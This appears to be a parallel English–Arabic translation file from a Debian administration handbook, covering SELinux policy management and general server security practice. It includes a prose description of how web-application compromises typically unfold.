ar-MA: يسرد الأمر <command>semanage user -l</command> التقابلات بين هويات المستخدمين في SELinux والأدوار المسموحة. تحتاج إضافة هوية جديدة إلى تعريف الأدوار الموافقة لها بالإضافة لتعريف سابقة الوسم التي تستخدم لتعيين أنواع الملفات الشخصية (<filename dir="ltr">/home/<replaceable>user</replaceable>/*</filename>). إما أن تكون قيمة هذه السابقة <literal>user</literal> أو <literal>staff</literal> أو <literal>sysadm</literal>. استخدام  السابقة ”<literal>staff</literal>“ ينتج ملفات لهذا النوع ”<literal>staff_home_dir_t</literal>“. تنشأ هويات SELinux الجديدة باستخدام <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. أخيراً، يمكنك إزالة هوية مستخدم SELinux باستخدام <command>semanage user -d <replaceable>identity</replaceable></command>.

en: Managing File Contexts, Ports and Booleans
ar-MA: إدارة سياقات الملفات والمنافذ والمتغيرات البوليانية

en: Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
ar-MA: توفر كل وحدة من وحدات SELinux مجموعة من قواعد وسم الملفات، لكن يمكن أيضاً إضافة قواعد وسم مخصصة استجابة لحالة خاصة. مثلاً، إذا أردت أن يتمكن مخدم الوب من قراءة الملفات ضمن الشجرة <filename>/srv/www/</filename>، عليك تنفيذ <command dir="ltr">semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> يتبعه <command dir="ltr">restorecon -R /srv/www/</command>. يسجل الأمر الأول قواعد الوسم الجديدة ويعيد الأمر الثاني ضبط أنواع الملفات وفق قواعد الوسم الجديدة هذه.

en: Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>.
ar-MA: بشكل مشابه، توسم منافذ TCP/IP بطريقة تضمن أن الخدمات المناسبة فقط تستطيع الإنصات لها. مثلاً، إذا أردت مخدم الوب أن يتمكن من الإنصات للمنفذ 8080، عليك تنفيذ <command>semanage port -m -t http_port_t -p tcp 8080</command>.

en: Adapting the Rules
ar-MA: ملائمة القواعد

en: Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>.
ar-MA: بما أن سياسة SELinux تجزيئية، فقد يهمُّك تطوير وحدات جديدة (أو وحدات مخصصة) للتطبيقات التي تفتقر لهذه الوحدات. عندها سوف تكمل هذه الوحدات <emphasis>السياسة المرجعية reference policy</emphasis>.

en: To create new modules, the <emphasis role="pkg">selinux-policy-dev</emphasis> package is required, as well as <emphasis role="pkg">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
ar-MA: لإنشاء وحدة جديدة، ستحتاج للحزمة <emphasis role="pkg">selinux-policy-dev</emphasis>. بالإضافة إلى <emphasis role="pkg">selinux-policy-doc</emphasis> تحوي الأخيرة وثائق القواعد القياسية (<filename dir="ltr">/usr/share/doc/selinux-policy-doc/html/</filename>) وملفات أمثلة يمكن استخدامها كقوالب لإنشاء الوحدات الجديدة. ثَبِّت هذه الملفات وادرسها بعمق:

en: The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.
ar-MA: ملف <filename dir="ltr">.te</filename> هو الأهم بينها. فهو الذي يحدد القواعد. يُعرِّف الملف <filename dir="ltr">.fc</filename> ”سياقات الملفات“، وهي الأنواع التي تسند إلى الملفات المرتبطة بهذه الوحدة. تُستَخدَم البيانات من الملف <filename dir="ltr">.fc</filename> أثناء مرحلة وسم الملفات. أخيراً، يُعرِّف الملف <filename dir="ltr">.if</filename> واجهة الوحدة: وهي مجموعة من ”الدوال العامة“ التي تستطيع الوحدات الأخرى استخدامها للتفاعل مع هذه الوحدة الجديدة بشكل سليم.

en: Writing a <filename>.fc</filename> file
ar-MA: كتابة ملف <filename dir="ltr">.fc</filename>

en: Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
ar-MA: يجب أن تفي قراءة المثال التالي لفهم بنية هذا الملف. يمكنك استخدام التعابير المنتظمة لإسناد السياق الأمني نفسه لعدة ملفات، أو لشجرة ملفات كاملة حتى.

en: <filename>example.fc</filename> file
ar-MA: ملف <filename>example.fc</filename>

en: Writing a <filename>.if</filename> File
ar-MA: كتابة ملف <filename dir="ltr">.if</filename>

en: In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files.
ar-MA: في المثال التالي، تتحكم الواجهة الأولى (”<literal>myapp_domtrans</literal>“) بمن يستطيع تنفيذ التطبيق. أما الثانية (”<literal>myapp_read_log</literal>“) فتمنح صلاحيات القراءة على ملفات سجلات التطبيق.

en: Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
ar-MA: يجب أن تولد كل واجهة مجموعة صالحة من القواعد التي يمكن تضمينها في ملف <filename dir="ltr">.te</filename>. عليك إذن التصريح عن جميع الأنواع التي تستخدمها (باستخدام الماكرو <literal>gen_require</literal>)، واستخدام التعليمات التوجيهية القياسية لمنح الصلاحيات. لاحظ، على أي حال، أنك تستطيع استخدام الواجهات التي توفرها الوحدات الأخرى. يتفصّل القسم التالي أكثر في شرح طريقة تمثيل هذه الصلاحيات.

en: <filename>example.if</filename> File
ar-MA: ملف <filename>example.if</filename>

en: <emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>
ar-MA: <emphasis>توثيق</emphasis> توضيحات حول <emphasis>reference policy</emphasis>

en: Writing a <filename>.te</filename> File
ar-MA: كتابة ملف <filename dir="ltr">.te</filename>

en: Have a look at the <filename>example.te</filename> file:
ar-MA: لنلق نظرة على الملف <filename>example.te</filename>:

en: <emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language
ar-MA: <emphasis>التعمق أكثر</emphasis> لغة الماكرو <command>m4</command>

en: To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
ar-MA: لبناء السياسة بشكل سليم، استخدم مطورو SELinux معالج أوامر ماكرو. فبدلاً من نسخ الكثير من تعليمات <emphasis>allow</emphasis> التوجيهية المتشابهة، أنشأوا ”دوالاً ماكروية“ لاستخدام منطق ذا مستوى أعلى، وهذا ينتج أيضاً سياسة قراءتها أسهل لكثير.

en: In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives.
ar-MA: عملياً، تترجم هذه القواعد عبر استخدام الأداة <command>m4</command> التي تجري العملية المعاكسة: حيث توسّع جميع هذه التعليمات عالية المستوى إلى قاعدة بيانات عملاقة من تعليمات <emphasis>allow</emphasis>.

en: The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
ar-MA: ”واجهات“ SELinux هي مجرد دوال ماكروية تُستبدَل بمجموعة قواعد أثناء الترجمة. وكذلك، هناك بعض الصلاحيات التي تتألف في الواقع من مجموعة من الصلاحيات التي تستبدل بقيمها عند الترجمة.

en: The module must be identified by its name and version number. This directive is required.
ar-MA: يجب تعريف الوحدة باسمها ورقم إصدارها. هذه التعليمة إلزامية.

en: If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.
ar-MA: إذا كانت الوحدة تُعرّف أنواعاً جديدة، فعليها التصريح عنها باستخدام تعليمات كهذه. لا تتردد في إنشاء أنواع كثيرة بقدر الحاجة بدلاً من منح صلاحيات عديمة الجدوى.

en: Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain).
ar-MA: تُعرّف هذه الواجهات النوع <literal>myapp_t</literal> كنطاق للعمليات الذي يجب استخدامه مع أي ملف تنفيذي موسوم بالنوع <literal>myapp_exec_t</literal>. ضمنياً، هذا يضيف الصفة <literal>exec_type</literal> إلى هذه الكائنات، التي تسمح بدورها للوحدات الأخرى بمنح صلاحيات تنفيذ هذه البرامج: مثلاً، تسمح الوحدة <literal>userdomain</literal>  للعمليات ذات النطاقات <literal>user_t</literal>، و <literal>staff_t</literal>، و <literal>sysadm_t</literal> بتنفيذها. أما نطاقات البرمجيات المقيّدة الأخرى فلا تملك صلاحيات تنفيذها، إلا إذا منحتها القواعد صلاحيات مشابهة (هذه هي حالة <command>dpkg</command> ونطاقه <literal>dpkg_t</literal>، على سبيل المثال).

en: The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations).
ar-MA: تعليمة <literal>allow</literal> هي التعليمة الأساسية المستخدمة للسماح بتنفيذ إجراء. المتغير الأول هو نطاق العملية المخولة بتنفيذ الإجراء. أما المتغير الثاني فهو يُعرّف الكائنات التي سيسمح للعمليات من النطاق السابق بالتعديل عليها. صيغة هذا المتغير هي ”<replaceable>type</replaceable>:<replaceable>class</replaceable>“ حيث <replaceable>type</replaceable> هو النوع في SELinux ويحدد الصنف <replaceable>class</replaceable> طبيعة الكائن (ملف، مجلد، مقبس شبكي، fifo، الخ). أخيراً، يحدد المتغير الأخير الصلاحيات (الإجراءات المسموحة).

en: Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> lists them.
ar-MA: تُعرّف الصلاحيات بشكل مجموعة من الإجراءات المسموحة وهي تتبع هذا القالب: <literal dir="ltr">{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. لكن يمكنك أيضاً استخدام ماكروات تعبر عن الصلاحيات التي تفيدك. يسرد الملف <filename dir="ltr">/usr/share/selinux/devel/include/support/obj_perm_sets.spt</filename> الماكروات المتاحة.

en: Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
ar-MA: كل ما عليك الآن هو إيجاد أقل مجموعة من القواعد اللازمة لضمان عمل التطبيق أو الخدمة بشكل صحيح. لتحقيق هذا، يجب أن تعرف طريقة عمل التطبيق جيداً وأن تعرف نوع البيانات التي يديرها أو يولدها.

en: However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
ar-MA: على أي حال، يمكن استخدام الطريقة التجريبية. حيث يمكنك فور وسم الكائنات المناسبة بشكل صحيح، استخدام التطبيق في الوضع المتساهل: فالعمليات التي ستحظر سوف تسجل لكنها ستنفّذ بنجاح مع ذلك. يمكنك الآن عبر تحليل السجلات معرفة العمليات التي يجب السماح بها. إليك مثالاً عن هذا النوع من مدخلات السجل:

en: To better understand this message, let us study it piece by piece.
ar-MA: دعنا ندرس هذه الرسالة قطعة بعد أخرى حتى نفهمها بشكل أفضل.

en: Analysis of an SELinux trace
ar-MA: تحليل أثر SELinux

en: Message
ar-MA: الرسالة

en: Description
ar-MA: الوصف

en: An operation has been denied.
ar-MA: هذا الإجراء قد مُنع.

en: This operation required the <literal>read</literal> and <literal>write</literal> permissions.
ar-MA: يحتاج هذا الإجراء لصلاحيات <literal>read</literal> و <literal>write</literal>.

en: The process with PID 1876 executed the operation (or tried to execute it).
ar-MA: نفّذت العملية ذات PID رقم 1876 الإجراء (أو حاولت تنفيذه).

en: <computeroutput>comm="syslogd"</computeroutput>
ar-MA: <computeroutput dir="ltr">comm="syslogd"</computeroutput>

en: The process was an instance of the <literal>syslogd</literal> program.
ar-MA: كانت العملية تنفذ البرنامج <literal>syslogd</literal>.

en: <computeroutput>name="xconsole"</computeroutput>
ar-MA: <computeroutput dir="ltr">name="xconsole"</computeroutput>

en: The target object was named <literal>xconsole</literal>. Sometimes you can also have a “path” variable — with the full path — instead.
ar-MA: العنصر المستهدف اسمه <literal>xconsole</literal>. أحياناً قد يعطيك متغير ”path“ —يحوي المسار الكامل— بدلاً من هذا.

en: The object is identified by the inode number 5510.
ar-MA: الكائن مُعرّف برقم inode يساوي 5510.

en: This is the security context of the process who executed the operation.
ar-MA: هذا هو السياق الأمني للعملية التي نفّذت الإجراء.

en: This is the security context of the target object.
ar-MA: هذا هو السياق الأمني للكائن الهدف.

en: The target object is a FIFO file.
ar-MA: الكائن الهدف هو ملف FIFO.

en: <emphasis>COMPLEMENTS</emphasis> No roles in policy rules
ar-MA: <emphasis>تتمة</emphasis> لا أدوار في قواعد السياسة

en: It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights.
ar-MA: قد تستغرب عدم ظهور الأدوار أبداً عند إنشاء قواعد جديدة. يستخدم SELinux النطاقات فقط ليعرف الإجراءات المسموحة. يتدخل الدور بشكل غير مباشر فقط عند السماح للمستخدم بالتبديل إلى نطاق مختلف. يعتمد SELinux على نظرية تعرف باسم <emphasis>Type Enforcement</emphasis> والنوع هو العنصر الوحيد الذي يؤثر في عملية منح الصلاحيات.

en: Compiling the Files
ar-MA: ترجمة الملفات

en: Other Security-Related Considerations
ar-MA: اعتبارات أمنية أخرى

en: Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.
ar-MA: ليس الأمن مشكلة تقنية وحسب؛ بل الأهم من كل شيء، العادات الحسنة وفهم المخاطر. يراجع هذا القسم بعض المخاطر الأكثر انتشاراً، بالإضافة لبعض الممارسات الجيدة التي يجب، حسب الحالة طبعاً، أن تزيد أمن النظام أو تخفف ضرر الهجمات الناجحة.

en: Inherent Risks of Web Applications
ar-MA: المخاطر الملازمة لتطبيقات الوب

en: The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
ar-MA: أدت الطبيعة العالمية لتطبيقات الوب لانتشارها. غالباً ما يتم تشغيل عدة تطبيقات وب على التوازي: webmail، ويكي، نظام إدارة مجموعات، منتديات، ألبوم صور، مدونة، وغيرها. تعتمد معظم هذه التطبيقات على ”LAMP‏“ (<emphasis>Linux, Apache, MySQL, PHP</emphasis>). لسوء الحظ، تكتب معظم هذه التطبيقات دون اعتبار المشاكل الأمنية كثيراً. في معظم الأحيان، تستخدم البيانات الواردة من العالم الخارجي بعد التحقق منها بشكل ضعيف أو بلا تحقق أبداً. يمكن تقديم قيم مُعدَّة خصيصاً لإفساد استدعاء أحد الأوامر بحيث يتم تنفيذ أمر آخر بدلاً منه. أُصلِحَت معظم المشاكل الواضحة عبر الزمن، لكن تظهر مشاكل أمنية جديدة بانتظام.

en: <emphasis>VOCABULARY</emphasis> SQL injection
ar-MA: <emphasis>مصطلحات</emphasis> SQL injection

en: Knowing What To Expect
ar-MA: تَعرَّف على ما ينتظرك

en: A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
ar-MA: غالباً ما تُستَخدَم الثغرة في تطبيق الوب كنقطة انطلاق لمحاولات الاختراق. فيما يلي استعراض قصير للعواقب المحتملة.

en: <emphasis>QUICK LOOK</emphasis> Filtering HTTP queries
ar-MA: <emphasis>نظرة سريعة</emphasis> ترشيح طلبات HTTP

en: Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
ar-MA: قد يكون إعداد هذه الفحوصات عملية طويلة وبطيئة، لكنها قد تؤتي ثمارها إذا كان تطبيق الوب المستخدم له سجل أمني مشبوه.

en: <emphasis>mod-security2</emphasis> (in the <emphasis role="pkg">libapache2-mod-security2</emphasis> package) is the main such module. It even comes with many ready-to-use rules of its own (in the <emphasis role="pkg">modsecurity-crs</emphasis> package) that you can easily enable.
ar-MA: وحدة <emphasis>mod-security2</emphasis> (في الحزمة <emphasis role="pkg">libapache2-mod-security2</emphasis>) هي الحزمة الأساسية في هذا المجال. بل إنها ترفق مع قواعد كثيرة جاهزة للاستخدام (في الحزمة <emphasis role="pkg">modsecurity-crs</emphasis>) يمكنك تفعيلها بسهولة.

en: A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.
ar-MA: أما المهاجم الأكثر تقدماً فسوف يسعى لما هو أبعد من ذلك. من السيناريوهات الكارثية أن يحدث ما يلي: يتمكن المهاجم من تنفيذ الأوامر تحت هوية المستخدم <literal>www-data</literal>، لكن تنفيذ الأوامر يحتاج للكثير من المناورات. لتسهيل الوضع على نفسه، سوف يثبّت تطبيقات وب أخرى مصممة خصيصاً لتنفيذ انواع كثيرة من الأوامر عن بعد، مثل تصفح نظام الملفات، فحص الصلاحيات، رفع أو تنزيل الملفات، تنفيذ الأوامر، أو حتى تقديم سطر أوامر عبر الشبكة. أغلب الأحيان، ستسمح لهم الثغرة بتنفيذ الأمر <command>wget</command> لتنزيل برمجية خبيثة ما ضمن المجلد <filename>/tmp/</filename>، ثم تنفيذها. تُنزّل البرمجيات الخبيثة من مواقع غريبة مُختَرَقة سابقاً، وذلك لتغطية الأثر وجعل تقفي الأدلة إلى المصدر الفعلي للهجوم أصعب.

en: At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
ar-MA: عند هذه النقطة، يتمتع المهاجم بحرية حركة تكفيه بحيث يعمد غالباً لتثبيت <emphasis>بوت</emphasis> IRC (روبوت يتصل بمخدم IRC ويمكن التحكم به عبر هذه القناة). يستخدم هذه البوت غالباً لمشاركة ملفات غير قانونية (نسخ غير مصرح بها لبرمجيات أو أفلام، وما شابه). أما المهاجم عاقد العزم فقد يرغب بالتعمق أكثر من ذلك أيضاً. لا يسمح حساب <literal>www-data</literal> بالتحكم الكامل بالجهاز، وسيحاول المهاجم الحصول على صلاحيات الجذر. نظرياً، يفترض أن هذا غير ممكن، لكن إذا كان تطبيق الوب غير محدث، فيحتمل أن إصدارات النواة والبرامج الأخرى قديمة أيضاً؛ ينتج هذا أحياناً عن مدير نظام أهمل تحديث النظام، رغم معرفته بوجود ثغرة، لعدم وجود مستخدمين محليين للنظام. يمكن عندئذ للمهاجم أن يستفيد من هذه الثغرة الثانية للحصول على صلاحيات الجذر.

en: <emphasis>VOCABULARY</emphasis> Privilege escalation
ar-MA: <emphasis>مصطلحات</emphasis> تصعيد الصلاحيات

en: This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
ar-MA: يشير هذا المصطلح لأي شيء يمكن استخدامه للحصول على صلاحيات أعلى مما يفترض أن يحصل عليه المستخدم في الحالة الطبيعية. البرنامج <command>sudo</command> مصمم خصيصاً بهدف منح صلاحيات إدارة النظام لبعض المستخدمين. لكن المصطلح نفسه يُستخدَم لوصف عملية استغلال المهاجم ثغرة في النظام للحصول على صلاحيات غير مستحقة. المصطلح بالإنكليزية هو privilege escalation.

en: This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
ar-MA: يمكن أن نمنع هذا السيناريو الكارثي من أن يحدث عبر العديد من التدابير. تتحدث الأقسام القليلة القادمة عن بعض هذه التدابير.

en: Choosing the Software Wisely
ar-MA: اختيار البرمجيات بحكمة

en: <emphasis>VOCABULARY</emphasis> Security audit
ar-MA: <emphasis>مصطلحات</emphasis> فحص أمني

en: A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
ar-MA: الفحص الأمني (security audit) هي عملية قراءة وتحليل شاملة للكود المصدري لبعض البرمجيات بحثاً عن أي ثغرات أمنية قد يحويها. هذه الفحوصات وقائية عادة، وهي تُجرى لضمان أن البرنامج يلبي متطلبات أمنية معينة.

en: <emphasis>VOCABULARY</emphasis> Zero-day exploit
ar-MA: <emphasis>مصطلحات</emphasis> Zero-day exploit

en: A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
ar-MA: يصعب ردع هجمات <emphasis>zero-day exploit</emphasis>؛ يشير المصطلح إلى الثغرات في البرنامج التي لا يعلم بها مطورو البرنامج بعد.

en: Managing a Machine as a Whole
ar-MA: إدارة الجهاز ككيان واحد

en: Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.
ar-MA: تُثبّت معظم توزيعات لينكس افتراضياً عدداً من خدمات يونكس وأدوات كثيرة. في معظم الحالات، لا تكون هذه الخدمات والأدوات لازمة للأغراض الفعلية التي أعد مدير النظام الجهاز لأجلها. كقاعدة عامة في النواحي الأمنية، يفضل إزالة أي البرمجيات التي لا حاجة لها. وحقاً، لا فائدة من تأمين مخدم FTP، إذا كان هناك ثغرة في خدمة مختلفة غير مستخدمة، يمكن استخدامها للحصول على صلاحيات الإدارة للجهاز كله.

en: By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
ar-MA: وحسب القاعدة نفسها، تضبط الجدران النارية غالباً للسماح فقط بالوصول إلى الخدمات التي يفترض أن تكون متاحة للوصول العام.

en: Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).
ar-MA: الحواسيب المعاصرة قوية بما يكفي لتسمح باستضافة العديد من الخدمات على الجهاز الفيزيائي نفسه. هذه الإمكانية مثيرة للاهتمام من وجهة نظر اقتصادية: حاسوب واحد لإدارته، استهلاك طاقة أقل، وهكذا. لكن من وجهة نظر أمنية، هذه الخيار مشكلة. فاختراق خدمة واحدة قد يؤدي للدخول للجهاز كله، وهذا يسمح بتخريب الخدمات الأخرى المستضافة على الجهاز نفسه. يمكن الحد من هذا الخطر عبر عزل الخدمات. يمكن تحقيق ذلك إما باستخدام الحوسبة التَخيُّلية (تستضاف كل خدمة على جهاز وهمي خاص بها أو حاوية مستقلة)، أو باستخدام AppArmor/SELinux (حيث تتمتع كل خدمة بمجموعة ملائمة من الصلاحيات).

en: Users Are Players
ar-MA: المستخدمين كفاعلين

en: Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
ar-MA: عند الحديث عن الأمن، نتخيل فوراً الحماية من هجمات مخترفين مجهولين يختبئون في أدغال الإنترنت؛ لكن الحقيقة المنسية غالباً هي أن المخاطر تأتي أيضاً من الداخل: يمكن أن يُنزِّل أحد الموظفين الذين سُرِّحوا من عملهم في الشركة ملفات حساسة عن المشاريع المهمة ويبيعها للمنافسين، أو قد يترك أحد مندوبي المبيعات المهملين مكتبه دون إغلاق جلسة العمل عند غيابه للحاق بفرصة جديدة، أو قد يحذف مستخدم أخرق المجلد الخاطئ دون قصد، وهكذا.

en: The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
ar-MA: قد تشمل الاستجابة لهذه المخاطر حلولاً تقنية: فلا يجب منح المستخدمين صلاحيات أعلى من اللازم، ولا بد من أخذ نسخ احتياطية بانتظام. لكن في العديد من الحالات، سوف تتضمن الحماية الجيدة تدريب المستخدمين لتفادي المخاطر.

en: <emphasis>QUICK LOOK</emphasis> <emphasis role="pkg">autolog</emphasis>
ar-MA: <emphasis>نظرة سريعة</emphasis> <emphasis role="pkg">autolog</emphasis>

en: The <emphasis role="pkg">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
ar-MA: توفر الحزمة <emphasis role="pkg">autolog</emphasis> برنامجاً يقطع اتصال المستخدمين غير النشطين آلياً بعد تأخير زمني محدد. كما يتيح أيضاً قتل عمليات المستخدم التي تبقى بعد انتهاء جلسة العمل، وبذلك يمنع المستخدمين من تشغيل الخدمات.

en: Physical Security
ar-MA: الأمن الفيزيائي

en: There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
ar-MA: لا فائدة من تأمين الخدمات والشبكات إذا لم تؤمن الحواسيب نفسها. تستحق البيانات المهمة تخزينها على سواقات صلبة تدعم الاستبدال الساخن في مصفوفات RAID، لأن الأقراص الصلبة ستتعطل في النهاية ولا بد من الحفاظ على توافر البيانات. لكن إذا كان أي فتى توصيل بيتزا يستطيع دخول المبنى، والتسلل لغرفة المخدم والهرب ببضعة أقراص صلبة مختارة، فهذا يعني نقص جزء هام من الحماية. من يستطيع دخول غرفة المخدم؟ هل الدخول مراقب؟ هذه الأسئلة تستحق النظر فيها (والإجابة عليها) عند تقييم الأمن الفيزيائي.

en: Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
ar-MA: كما يتضمن الأمن الفيزيائي أخذ خطر الحوادث بعين الاعتبار أيضاً كالحرائق. هذا الخطر بالذات يبرر تخزين وسائط النسخ الاحتياطي في مبنى منفصل، أو على الأقل في خزينة مقاومة للحريق.

en: Legal Liability
ar-MA: المسؤولية القانونية

en: An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
ar-MA: يتمتع مدير النظام، ضمنياً أو صراحة، بثقة المستخدمين بالإضافة لثقة مستخدمي الشبكة بشكل عام. عليه إذن تفادي أي تقصير يمكن أن يستفيد منه الحاقدون.

en: When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
ar-MA: عندما تحدث حالات مثل هذه، لن ينفعك ادعاء البراءة وحده؛ بل ستحتاج على الأقل لأدلة مقنعة تُبيّن ورود النشاطات المشبوهة على نظامك من عنوان IP معين. لن تتمكن من الحصول على أدلة كهذه إذا أهملت نصائح هذا الفصل وتركت المهاجم يحصل على إمكانية الوصول لحساب بصلاحيات مرتفعة (وبالأخص حساب الجذر) واستعماله لتغطية آثاره.

en: Dealing with a Compromised Machine
ar-MA: التعامل مع جهاز مُختَرَق

